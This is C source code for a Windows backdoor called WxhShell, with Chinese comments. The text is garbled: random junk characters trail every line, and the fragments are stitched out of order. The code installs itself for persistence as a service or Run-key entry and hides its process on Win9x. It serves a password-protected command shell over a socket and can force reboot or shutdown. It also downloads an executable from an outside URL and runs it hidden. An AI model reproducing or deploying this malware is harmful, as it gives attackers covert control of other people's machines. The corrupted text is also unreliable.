    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sflH{!;p  
    if(Boot(SHUTDOWN)) 0fgt2gA33  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [%U(l<  
    else { 21Z}Zj  
    closesocket(wsh); Ap}^6_YXd  
    ExitThread(0); fbF *C V  
    } \A gPkW  
    break; R~40,$e{  
    } Jv  
  // 获取shell 0!v+ +  
  case 's': { I[|5 DQ  
    CmdShell(wsh); rCGyr}(NC  
    closesocket(wsh); HCP' V  
    ExitThread(0); ~Yrtz   
    break; `<I+(8]Uz  
  } [t^Z2a{  
  // 退出 7CfHL;+m<4  
  case 'x': { O`2;n.>\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EsA)o 5  
    CloseIt(wsh); 8l(_{Y5(-  
    break; fVCpG~&t  
    } w_-v!s2  
  // 离开 }S{#DgZ@X  
  case 'q': { m`(5B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fp^!?u  
    closesocket(wsh); ve|:z  
    WSACleanup(); ${"+bWG2G!  
    exit(1); ?m3,e&pB5  
    break; xA|72!zk0P  
        } Fl,(KST z  
  } c}9.Or`?  
  } n(-1vN  
UEeD Nl$^u  
  // 提示信息 3nVdws  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 96fzSZS,  
} LfD7 0r\  
  } YEGRM$'`  
9I0}:J;7  
  return; m'h`%0Tc  
} M7R.? nk  
J!sIxwF  
// shell模块句柄 'bN\8t\S  
int CmdShell(SOCKET sock) BbA7X  
{ B%95M|  
STARTUPINFO si; x:bJ1%  
ZeroMemory(&si,sizeof(si)); 1#H=<iJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X) lzBM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :BLD &mb"Y  
PROCESS_INFORMATION ProcessInfo; hS) X`M  
char cmdline[]="cmd"; E? > ERO3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W7 9wz\a  
  return 0; 7hPiPv  
} > %5<fK2  
+o]DT7W  
// 自身启动模式 E0XfM B]+  
int StartFromService(void) b(8#*S!U  
{ Yj+p^@{S2P  
typedef struct OZ2gIK  
{ 5[Sa7Mk  
  DWORD ExitStatus; }?zy*yL  
  DWORD PebBaseAddress; 0Da9,&D  
  DWORD AffinityMask; }^).Y7{g[  
  DWORD BasePriority; 4(5NHsvp  
  ULONG UniqueProcessId; W0GDn  
  ULONG InheritedFromUniqueProcessId; z:B4  
}   PROCESS_BASIC_INFORMATION; Vf S&V*un  
}E626d}uA  
PROCNTQSIP NtQueryInformationProcess; ;c1ar)G7  
<=;#I_E#E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4L(/Z}(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \{W}  
"M.\Z9BCt  
  HANDLE             hProcess; 'l,ym~R  
  PROCESS_BASIC_INFORMATION pbi; B5'-v%YO+  
v8Ga@*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,tt]C~\u  
  if(NULL == hInst ) return 0; jqULg iC  
ttlFb]zZh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  egur}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _tJp@\rOz=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k WVaHZr  
&rY73qfP'  
  if (!NtQueryInformationProcess) return 0; 'C iV=&3/  
.W[ 9G\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hV,)u3  
  if(!hProcess) return 0; ~(Wq 5<v  
9$)I=Rpk =  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :\I88 -N@'  
|G^w2"D_Z  
  CloseHandle(hProcess); Ae,P&(  
|KF_h^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )erI3?k  
if(hProcess==NULL) return 0; "`l8*]z  
B}n tD  
HMODULE hMod; Jw;Tq"&  
char procName[255]; WCc7 MK  
unsigned long cbNeeded; 1D3{\v  
g"pjWj)?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6_KO6O7g  
{9>LF  
  CloseHandle(hProcess); p%;n4*b2  
9"T&P_   
if(strstr(procName,"services")) return 1; // 以服务启动 l42 3+vo  
5Oh>rK(  
  return 0; // 注册表启动 Uy  $1X  
} MM_c{gFF  
~?l>QP|o  
// 主模块 v<+5B5"1  
int StartWxhshell(LPSTR lpCmdLine) [T|_J$ ;  
{ \]bAXa{ p  
  SOCKET wsl; /_yJ;l/K  
BOOL val=TRUE; 6Z2a5zO8  
  int port=0; 5Q $6~\  
  struct sockaddr_in door; PtR8m=O  
!% 'dyj  
  if(wscfg.ws_autoins) Install(); 'Z^-(xG,+  
-_<rmR[:]  
port=atoi(lpCmdLine); qX,T X 3  
z"[}Sk  
if(port<=0) port=wscfg.ws_port; l_Ee us  
(MfPu8j  
  WSADATA data; Qq,w6ekr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kkvG=  
[FhFeW>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b/>L}/^PM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J['pBlEb\  
  door.sin_family = AF_INET; F#<$yUf%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IdP"]Sv{<  
  door.sin_port = htons(port); F^La\cZ*'  
fpESuVKr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3<c_`BWu  
closesocket(wsl); )#|I(Gz ^  
return 1; NR </Jm*  
} YzasT:EZN  
VV'K$v3'N8  
  if(listen(wsl,2) == INVALID_SOCKET) { x=Ef0v  
closesocket(wsl); ?g7O([*[  
return 1; E@uxEF  
} iLd_{  
  Wxhshell(wsl); 2<"kfa n  
  WSACleanup(); J0%e6{C1  
#* KmPc+  
return 0; Ze?(N~  
'WF Ey>1#  
} _VvXE572  
0m`{m'B4n  
// 以NT服务方式启动 =Fu~ 0Wc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m+Um^:\jX  
{ {`X O3  
DWORD   status = 0; .(2Zoa  
  DWORD   specificError = 0xfffffff; VMa \?`fT  
iL vzoQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (fSpY\JPI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -UTTJnu^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h_xHQf&#  
  serviceStatus.dwWin32ExitCode     = 0; T~&9/%$F  
  serviceStatus.dwServiceSpecificExitCode = 0; AEUXdMo  
  serviceStatus.dwCheckPoint       = 0; OE{PP9 eh  
  serviceStatus.dwWaitHint       = 0; ;|a,1#x  
fWutB5?P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #.Q8q  
  if (hServiceStatusHandle==0) return; kimqm  
;";#{B:  
status = GetLastError(); ^nPk;%`0  
  if (status!=NO_ERROR) dq.'[  
{ v;=| -y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ho J{C 0  
    serviceStatus.dwCheckPoint       = 0; @'D ,T^I  
    serviceStatus.dwWaitHint       = 0; -D?-ctFYj^  
    serviceStatus.dwWin32ExitCode     = status; ZSs)AB_Pe/  
    serviceStatus.dwServiceSpecificExitCode = specificError; /8$*{ay  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?WD JWp%  
    return; =r?#,'a  
  } W.|r=   
D(z}c,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7ThGF  
  serviceStatus.dwCheckPoint       = 0; L5wrc4  
  serviceStatus.dwWaitHint       = 0; szZ8-Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ei$@)qS/  
}  *|OP>N  
/kK%}L_D  
// 处理NT服务事件,比如:启动、停止 ?H30  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0q4E^}iR  
{ n91@{U)QJ3  
switch(fdwControl) = nIl$9  
{ I4Y; 9Gg  
case SERVICE_CONTROL_STOP: v"Z`#Bi  
  serviceStatus.dwWin32ExitCode = 0; QOfqW@g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X{-@3tG<r  
  serviceStatus.dwCheckPoint   = 0; Lt<KRs  
  serviceStatus.dwWaitHint     = 0; XFS"~{  
  { <E&[sQ|3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~WKcO&  
  } 94Hs.S)  
  return; FxK2 1  
case SERVICE_CONTROL_PAUSE: q.GA\o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #0F6{&; M  
  break;  o(q][:,h  
case SERVICE_CONTROL_CONTINUE: )^D:VY9 2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ` 6'dhB  
  break; 0P%,1M3d  
case SERVICE_CONTROL_INTERROGATE: |o5F%1o  
  break; ~ "IjT'W3  
}; xklXV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P.j0Xlof  
} `3QAXDWE  
(*XSr Q  
// 标准应用程序主函数 X6Y<pw`y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p,cw- lN  
{ Wwf],Ya  
$@ R[$/  
// 获取操作系统版本 ,'FdUq)i  
OsIsNt=GetOsVer(); Z2.S:y.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q ad`muAd  
ruf*-&Kr7  
  // 从命令行安装 3%J7_e'  
  if(strpbrk(lpCmdLine,"iI")) Install(); DX H"`1[-  
#&oL iz=hZ  
  // 下载执行文件 -weCdTY`X  
if(wscfg.ws_downexe) { pT=YV k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DjK  
  WinExec(wscfg.ws_filenam,SW_HIDE); PrZs@ Y  
} 5PCMxjon  
X-mhz3Q&a  
if(!OsIsNt) { 3WTNWz#h  
// 如果时win9x,隐藏进程并且设置为注册表启动 0>aAI3E  
HideProc(); lY,dyNFHV  
StartWxhshell(lpCmdLine); "=/YPw^0  
} x9lG$0k:V  
else n}T;q1  
  if(StartFromService()) =Eimbk  
  // 以服务方式启动 <-3_tu>l  
  StartServiceCtrlDispatcher(DispatchTable); Z~WUILx,  
else > ]()#z  
  // 普通方式启动 U> @st="  
  StartWxhshell(lpCmdLine); h M/:zC:  
%^){)#6w  
return 0; Js'#=  
} g6wL\g{29  
 55<f  
eX1<zzd  
Px$4.b[{_Y  
=========================================== mh8{`W&  
F^xhhz&e  
:I)WSXP9h  
~$@~X*K~  
SD=kpf;  
555*IT3b  
" %`F &,!d  
GmJ4AYEP  
#include <stdio.h> ~dpU D F  
#include <string.h> foi@z9  
#include <windows.h> -76l*=|  
#include <winsock2.h> \]a@ NBv  
#include <winsvc.h> <Y9 L3O`[  
#include <urlmon.h> zt23on2  
js~?y|e8k  
#pragma comment (lib, "Ws2_32.lib") 4)zHkN+  
#pragma comment (lib, "urlmon.lib") (/oHj^>3N`  
x_yQoae  
#define MAX_USER   100 // 最大客户端连接数 e=yQFzQT)  
#define BUF_SOCK   200 // sock buffer 5Lo\[K >j  
#define KEY_BUFF   255 // 输入 buffer Z fQzA}QD  
R[l9f8  
#define REBOOT     0   // 重启 j-% vLL/  
#define SHUTDOWN   1   // 关机 (#t"u`_Ee  
8^8fUN4<=  
#define DEF_PORT   5000 // 监听端口 (H/2{##  
42{\u08Z  
#define REG_LEN     16   // 注册表键长度 "; PW#VHC  
#define SVC_LEN     80   // NT服务名长度 oQ=v:P]  
vfn _Nq;  
// 从dll定义API S*5hO) C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6~t;&)6J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M$O*@])  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,'KS:`m!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?c$z?QTMJ  
k /hD2tBLu  
// wxhshell配置信息 de&*#O5  
struct WSCFG { L7}dvdtZ0  
  int ws_port;         // 监听端口 R;6$lO8C&  
  char ws_passstr[REG_LEN]; // 口令 m4=[e!  
  int ws_autoins;       // 安装标记, 1=yes 0=no qVvQ9?  
  char ws_regname[REG_LEN]; // 注册表键名 ?hXeZB+b4  
  char ws_svcname[REG_LEN]; // 服务名 VX;br1$X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2EU((Q`>=(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6w )mo)<X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O :'ENoQ:&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nNN~Z'bG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V5ySOgzw,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T=NF5kj-=  
</.9QV  
}; 5vfzSJ  
!sJ*0  
// default Wxhshell configuration ;g:!WXd  
struct WSCFG wscfg={DEF_PORT, Q"@x,8xW  
    "xuhuanlingzhe", _ yu d  
    1, =tS1|_  
    "Wxhshell", 0pC}+ +  
    "Wxhshell", 9}=]oX!+V  
            "WxhShell Service", ;F/yS2p  
    "Wrsky Windows CmdShell Service", q$<M2  
    "Please Input Your Password: ", \$iU#Z  
  1, _~{Nco7T  
  "http://www.wrsky.com/wxhshell.exe", !ULU#2'1  
  "Wxhshell.exe" eL vbPE_  
    }; )37.H^7  
['*{f(AI  
// 消息定义模块 +bGj(T%+'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G~ldU: ?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @lYm2l^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G>>`j2:y  
char *msg_ws_ext="\n\rExit."; >`3wEJ"<  
char *msg_ws_end="\n\rQuit."; |\ZsoA  
char *msg_ws_boot="\n\rReboot..."; ? bq S{KF  
char *msg_ws_poff="\n\rShutdown..."; lU}y%J@  
char *msg_ws_down="\n\rSave to "; QO-R>  
>R9_ ;  
char *msg_ws_err="\n\rErr!"; Zs(I]^w;d  
char *msg_ws_ok="\n\rOK!"; 6r x%>\UkS  
vLc7RL  
char ExeFile[MAX_PATH]; X:un4B}O  
int nUser = 0; `ZC{<eVJ}=  
HANDLE handles[MAX_USER]; #JOWiO0>  
int OsIsNt; D.i(Irqw!  
BkH- d z  
SERVICE_STATUS       serviceStatus; &7}\mnhB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G<5i %@  
|9 Gng`)  
// 函数声明 ^h c&rD)_  
int Install(void); JB_<Haj  
int Uninstall(void); &?#,rEw<x  
int DownloadFile(char *sURL, SOCKET wsh); mr4W2Z@L  
int Boot(int flag); lJ'. 1Z&  
void HideProc(void); Q?Y\WD  
int GetOsVer(void); 1feZ`P ;  
int Wxhshell(SOCKET wsl); 5yh:P3 /  
void TalkWithClient(void *cs); zE~{}\J  
int CmdShell(SOCKET sock); 9(\eL9^  
int StartFromService(void); yX {CV7%O  
int StartWxhshell(LPSTR lpCmdLine); WeqE 9@V  
'T '&OA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iEA$`LhO\A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )YKnFSm  
fku\O<1  
// 数据结构和表定义 )r9l T*z  
SERVICE_TABLE_ENTRY DispatchTable[] = \hm;p  
{ ']bpsn  
{wscfg.ws_svcname, NTServiceMain}, !zu YO3:  
{NULL, NULL} {c7ZA%T~R  
}; J$]-)`[G&  
XL`*T bx  
// 自我安装 Ve]ufn6  
int Install(void) e(5 :XHe  
{ :jJ;&t^^  
  char svExeFile[MAX_PATH];  .IO_&^  
  HKEY key; (P+TOu-y\  
  strcpy(svExeFile,ExeFile); sQ)D.9\~  
8RA]h?$$J  
// 如果是win9x系统,修改注册表设为自启动 H}Jdnu|ko  
if(!OsIsNt) { &gP/<!#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3?R56$-+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z]^u@]@NC  
  RegCloseKey(key); B8f BX!u/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5$<\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sDylSYq  
  RegCloseKey(key); j,]KidDWm  
  return 0;  1\[En/6  
    } K4r"Q*h  
  } JGJy_.C  
} ?4[IIX-  
else { k\ 2.\Lwb  
n^a&@?(+  
// 如果是NT以上系统,安装为系统服务 CTNeh%K;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6> fQe8Y  
if (schSCManager!=0) &n}eF-  
{ cl`!A2F1G#  
  SC_HANDLE schService = CreateService w_>SxSS7  
  ( }o'WR'LX  
  schSCManager, ]12ypcf  
  wscfg.ws_svcname, DE$HF*WY  
  wscfg.ws_svcdisp, _#jR6g TY  
  SERVICE_ALL_ACCESS, Dc2U+U(J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _ $ Wj1h  
  SERVICE_AUTO_START, aJ4y%Gy?  
  SERVICE_ERROR_NORMAL, SY[7<BUZ  
  svExeFile, ;$VQRXq  
  NULL, =SY`Xkj[  
  NULL, 8Hdm(>  
  NULL, <$V!y dO  
  NULL, w;p: 4`  
  NULL 4YT d  
  ); ; qQ* p  
  if (schService!=0) ^#V7\;v$G  
  { JKXb$  
  CloseServiceHandle(schService); bXx2]E227  
  CloseServiceHandle(schSCManager); Y`U[Y Hx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6JCq?:#ab  
  strcat(svExeFile,wscfg.ws_svcname); %6%QE'D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y3,'1^lA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q2 pq~LI  
  RegCloseKey(key); k|r+/gIV  
  return 0; 77]6_  
    } HW@r1[Y  
  } )Rlh[Y& r  
  CloseServiceHandle(schSCManager); 1 m>x5Dbk!  
} 68!W~%?pR  
} &4dh$w]q  
'Avp16zg  
return 1; qubyZ8hx  
} S5,y!K]C~  
< s>y{ e  
// 自我卸载 zFFip/z\  
int Uninstall(void) KeGGF]=>  
{ Os5Xejh`I  
  HKEY key; |})7\o  
k*U(ln  
if(!OsIsNt) { TTfU(w%&P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yu`KHvur  
  RegDeleteValue(key,wscfg.ws_regname); Hy*_4r  
  RegCloseKey(key); W`d\A3v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m?@0Pf}xa  
  RegDeleteValue(key,wscfg.ws_regname); bMrR  
  RegCloseKey(key); pO10L`|  
  return 0; -Y{=bZS u  
  } pSPVY2qKX  
} (H_YYZ3ZX  
} B=R9K3f  
else { 0wA?.~ L  
l_1y#B-k5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]E:P-xTwaI  
if (schSCManager!=0) ;;Y>7Kn!u  
{ 5LF#w_x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [%1 87dz:D  
  if (schService!=0) 0C,2gcq  
  { M?nYplC  
  if(DeleteService(schService)!=0) { ,~TV/l<  
  CloseServiceHandle(schService); f\zu7,GU  
  CloseServiceHandle(schSCManager); V t[Kr  
  return 0; $lC*q  
  } H;=JqD8`  
  CloseServiceHandle(schService); "h84D&V  
  } G(*7hs  
  CloseServiceHandle(schSCManager); S+LS!b  
} HXg#iP^tv  
} VOa7qnh4:[  
#K4lnC2qz  
return 1; >}p'E9J?r  
} 4Gsbcl{  
B.T|e,g26  
// 从指定url下载文件 +YNN$i  
int DownloadFile(char *sURL, SOCKET wsh) B S^P&TR!  
{ WS7a]~3'  
  HRESULT hr; 4b}94e@(N  
char seps[]= "/"; S *D Bzl  
char *token; m|%L[h1  
char *file; zfBaB0P  
char myURL[MAX_PATH]; q '  
char myFILE[MAX_PATH]; Di^7@}kQS  
_-mJI+^/  
strcpy(myURL,sURL); Ed^F_Gg#  
  token=strtok(myURL,seps); -:P`Rln  
  while(token!=NULL) E979qKl  
  { $YPQi.  
    file=token; x392uS$#  
  token=strtok(NULL,seps); <:YD.zAh|  
  } G^6\OOSy  
D$vP&7pOr4  
GetCurrentDirectory(MAX_PATH,myFILE); \U\k$ (  
strcat(myFILE, "\\"); 7Gs0DwV  
strcat(myFILE, file); V1 :aR3*!  
  send(wsh,myFILE,strlen(myFILE),0); 1f/8XxTB  
send(wsh,"...",3,0); KD*q|?Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F,NS:mE  
  if(hr==S_OK) q_gsYb  
return 0; flr&+=1?D  
else qUuvM  
return 1; 1^HUu"Kt  
Zi4Ektj2  
} wfJ[" q   
n#fc=L1U  
// 系统电源模块 &58TX[#  
int Boot(int flag) )`V__^  
{ t%'0uB#v1  
  HANDLE hToken; E{#Y=  
  TOKEN_PRIVILEGES tkp; J nzI- y  
1oVjx_I5y  
  if(OsIsNt) { L74Sx0nk=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #ozQF~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L(ni6-  
    tkp.PrivilegeCount = 1; Q =!f,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2TZ+R7B?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -y1t;yU.L  
if(flag==REBOOT) { Z,ZebS@yG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #2U4}#Mi  
  return 0; 8>(DQ"h  
} OD~TWT_  
else { wRLj>nc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Hrd z1:#6,  
  return 0; aN}l&4d  
} zr1,A#BV  
  } uV'w0`$y  
  else { <Ky6|&!  
if(flag==REBOOT) { J@4,@+X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9>1 $Jv3  
  return 0; `tjH#W`  
} xSal=a;k  
else { :87HXz6]jS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wsg u# as|  
  return 0; G1`H H&  
} I$#)k^Q  
} UN"U#Si)  
}ippi6b:r  
return 1; 4[$D3,A  
} H>/LC* 8-  
MY$-D+#/`  
// win9x进程隐藏模块 U(t_uc5q  
void HideProc(void) iI.d8}A  
{ g'Id3 1r'  
F#az&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5uJ{#Zd  
  if ( hKernel != NULL ) s/=.a2\  
  { -Z/'kYj?U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6d% |yl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~5xs$ub  
    FreeLibrary(hKernel); |x ~<Dc>0*  
  } i( l'f#  
Jjgy;*hM  
return; x(UOt;  
} J91O$szA  
M^$liS.D  
// 获取操作系统版本 lbg^ 2|o~~  
int GetOsVer(void) V.8pxD5 s  
{ mn;Wqb/  
  OSVERSIONINFO winfo; 6IQkP9P(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oB8x_0#n  
  GetVersionEx(&winfo); V,W":&!x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B,]:<1l~  
  return 1; ,7{}}l  
  else df$VC  
  return 0; nLfITr|5  
} ]rs7%$ZW  
H |K}m,g  
// 客户端句柄模块 *P mk1h2  
int Wxhshell(SOCKET wsl) |,G=k,?_p  
{ E+.%9EKU  
  SOCKET wsh; 6}>:sr  
  struct sockaddr_in client; -1>$3-ur~  
  DWORD myID; tHj |_t  
"++q. y  
  while(nUser<MAX_USER) *k7vm%#ns  
{ ;J)8#|  
  int nSize=sizeof(client); 7rdPA9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mAFVjSa2  
  if(wsh==INVALID_SOCKET) return 1; npW1Z3n  
vG7aT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b3 ,&RUF  
if(handles[nUser]==0) o9Z!Z ^  
  closesocket(wsh); f/&k $,w  
else \~YyY'J  
  nUser++; G\S>H  
  }  xlH?J;$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q[}[w!to  
b)eKa40Z  
  return 0; A`D^}F6  
} rLfhm Ds%u  
eZr}xo@9  
// 关闭 socket -'sn0 _q/e  
void CloseIt(SOCKET wsh)  );cu{GY  
{ vX'@we7Q{  
closesocket(wsh); %ys-y?r  
nUser--; pNHO;N[&  
ExitThread(0); >^  E  
} kr_!AW<.tz  
njk1x  
// 客户端请求句柄 y.LJ 5K$&a  
void TalkWithClient(void *cs) xGzp}   
{ ;8G( l   
V@(7K0  
  SOCKET wsh=(SOCKET)cs; ?rD`'B  
  char pwd[SVC_LEN]; '|\et aD  
  char cmd[KEY_BUFF]; ;I#S m;  
char chr[1]; x 7;Zwd  
int i,j; y,*>+xk,  
_uR-Z_z  
  while (nUser < MAX_USER) { ~[CtsCiQ  
u I \zDR  
if(wscfg.ws_passstr) { ||lI_B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .o2]ndT/J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S!<1C Fh  
  //ZeroMemory(pwd,KEY_BUFF); =.]>,N`C  
      i=0; 4RH'GnLa  
  while(i<SVC_LEN) { YGA( "<  
qX GAlCq@  
  // 设置超时 ::xH C4tw  
  fd_set FdRead; D{](5?$`|  
  struct timeval TimeOut; f|*vWHSM  
  FD_ZERO(&FdRead); g* NKY`,  
  FD_SET(wsh,&FdRead); "\'g2|A  
  TimeOut.tv_sec=8; ^Fl6-|^~  
  TimeOut.tv_usec=0; \qrSJ=}t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R7L:U+*V"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); btfjmR<Tp  
ohdWEU,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l @hXQ/  
  pwd=chr[0]; pLFJ"3IJB  
  if(chr[0]==0xd || chr[0]==0xa) { n: ~y]  
  pwd=0; C6XTId=y#_  
  break; sI u{_b  
  } Z(S=2r.  
  i++; hm%'k~  
    } 2>.2H  
OZF^w[ `w  
  // 如果是非法用户,关闭 socket zs@#.OEH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9q2 >_Mv  
} UH<nc;.B  
; )Vro  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s7FJJTn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0.}Um  
~=Y <B/  
while(1) { ICD(#m  
{QTrH-C  
  ZeroMemory(cmd,KEY_BUFF); \}ujSr#<  
wo>srZs  
      // 自动支持客户端 telnet标准   EBY=ccGE{  
  j=0; <"uT=]wZ=  
  while(j<KEY_BUFF) {  '8NKrI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r@xMb,!H  
  cmd[j]=chr[0]; o b  
  if(chr[0]==0xa || chr[0]==0xd) { v5|X=B>&>  
  cmd[j]=0; y@;4F n/  
  break; oh '\,zpL  
  } LF'M!C9|  
  j++; xg}RpC!  
    } gc:qqJi)X  
Lc|5&<8ZG1  
  // 下载文件 ];waK 2'2  
  if(strstr(cmd,"http://")) { .(Gq9m[~8H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o0~+%&  
  if(DownloadFile(cmd,wsh)) T,72I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~-,P1 u!  
  else +e0]Y8J{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <qzHMy Ai  
  } Ve,_;<F]S  
  else {  H}NW?  
C7(kV{h$d  
